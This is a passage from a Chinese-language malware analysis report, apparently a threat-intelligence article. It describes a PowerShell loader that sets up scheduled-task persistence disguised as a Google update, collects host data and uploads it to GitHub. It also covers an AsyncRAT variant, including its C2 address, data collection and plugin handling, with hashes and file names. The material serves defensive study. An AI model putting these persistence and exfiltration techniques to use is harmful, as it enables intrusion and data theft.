data-colwidth="108"><p><span style="border-color: rgb(0, 0, 0);font-size: 16px;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="467"><p><span style="font-size: 16px;"><span leaf="">1.63 KB (1,677 字节)</span></span></p></td></tr><tr><td data-colwidth="108"><p><span style="border-color: rgb(0, 0, 0);font-size: 16px;"><span leaf="">文件名</span></span></p></td><td data-colwidth="467"><p data-mpa-action-id="mp3ozqw91zn7"><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);"><span leaf="">Eudksref.ps1</span></span></span></p></td></tr></tbody></table></p></div></div><p style="margin-bottom: 16px;text-indent: 2em;"><span leaf="">“</span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Eudksref.ps1</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”是一个</span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">PowerShell</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本，该脚本首先创建一个名为“</span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-F706378A30E}</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”计划任务，用于持久化执行“</span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">taskschd.vbs</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”，然后会收集机器相关信息，包括系统信息，用户本地应用数据目录，进程列表，并将这些数据编码之后发送到</span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Github</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">平台进行保存。</span></p></div></div><p style="text-align: center;margin-bottom: 16px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2431466030989273" data-s="300,640" data-type="png" data-w="839" type="block" data-imgfileid="100024890" src="https://wechat2rss.xlab.app/img-proxy/?k=6fa99836&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIfK8ibff7NxHWHoib2kSpQkUibHvjbt7Eb3N3mLkLHBPVyUl7QFrxIIcKqiacxSJiaPn4aM435aUGzJcpfPDeuichWDIerH3jMibWicic0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">3.2. </span></span><b><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">P</span></span></font></b><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">E </span></span></b><b><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">组件</span></span></font></b></h3><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“Eudksre.ps1”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过反射加载的方式执行一个</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.Net组件，该文件不落地，原始文件名为“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">rTom.exe</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”，经分析发现该文件为</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AsyncRAT变种木马</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></font></p><div><div><p><table style="width:571px;"><tbody><tr><td data-colwidth="120"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">MD5</span></span></span></p></td><td data-colwidth="451"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">0d8ceb7dea7d471afa2f8e753b13d2d6</span></span></span></p></td></tr><tr><td data-colwidth="120"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">文件大小</span></span></span></p></td><td data-colwidth="451"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">2.24 MB (2,355,200 字节)</span></span></span></p></td></tr><tr><td data-colwidth="120"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">文件名</span></span></span></p></td><td data-colwidth="451"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">rTom.exe</span></span></span></p></td></tr><tr><td data-colwidth="120"><p data-mpa-action-id="mp3p90l727e"><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">Timestamp</span></span></span></p></td><td data-colwidth="451"><p data-mpa-action-id="mp3p94o921k6"><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">2026-03-17 08:21:28</span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">程序</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">运行之后首先通过互斥避免多开。</span></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.44527363184079605" data-s="300,640" data-type="png" data-w="804" type="block" data-imgfileid="100024880" src="https://wechat2rss.xlab.app/img-proxy/?k=e4d685da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKgVNicy6O4vWFibk6hwV3oZiaZia6ibaYdQScibCibNnO404ngcRPgXPDEPMgYeKUicJx7fIo28tTZq9rjicQtIvkcHW0iayWbyt19qq7fM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在完成必要的</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">socket初始化之后，连接C</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">服务器（</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">12.216.9.171</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">:</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3385</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">）</span></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4186046511627907" data-s="300,640" data-type="png" data-w="817" type="block" data-imgfileid="100024881" src="https://wechat2rss.xlab.app/img-proxy/?k=3128775c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLUZcJN0LHgrqzibLOHqFECqhkIfzF5jwvicI1DamxxEQtolFmjujlFDkdMuAP7RyDOM9yb3QSxpTP8eSByvEEFJorZ24iaT1be7U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">随后恶意程序会采集受害主机的用户名、操作系统信息、木马程序自身版本、当前运行权限是否为管理员、前台活动窗口标题等多类设备与运行状态信息，完成信息汇总后主动回传至服务端。</span></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2644230769230769" data-s="300,640" data-type="png" data-w="832" type="block" data-imgfileid="100024933" src="https://wechat2rss.xlab.app/img-proxy/?k=8e1c5133&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJhIo1GbYC8NDJOePDTsYjJ0mWWIv2lMUxlN3PbkCORV66VZaxh77jAWanib44rOCx8YcQHDLSb94nT3n1WpJ6uKaA5F8IHEhiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后恶意程序在接收到服务端返回的数据后，会调用回调函数</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">clsiesockesdfwe.ReadServertData对返回内容进行处理，首先校验当前网络连接状态是否正常，确认无异常后再读取全部返回数据并暂存到缓冲区。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3333333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100024882" src="https://wechat2rss.xlab.app/img-proxy/?k=b9510421&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLSICGy2VYF0UUa6nkF9YSPJ68pt2pqa4HJxHvlnVgZYUicpayibMpfplfiaUm3IafrFEfRfu299KS2m0uj4XiaIkD3egArNAe5jrQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="word-break: break-all;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span style="text-indent: 2em;text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着创建线程，调用</span></font></span><span style="text-indent: 2em;text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Packet.Read</span></span><span style="text-indent: 2em;text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">函数进行处理，该函数是一个插件管理器，具有执行插件</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">(</span></font></span><span style="text-indent: 2em;text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">plugin)</span></span><span style="text-indent: 2em;text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">和保存插件</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">(</span></font></span><span style="text-indent: 2em;text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">savePlugin)</span></span><span style="text-indent: 2em;text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 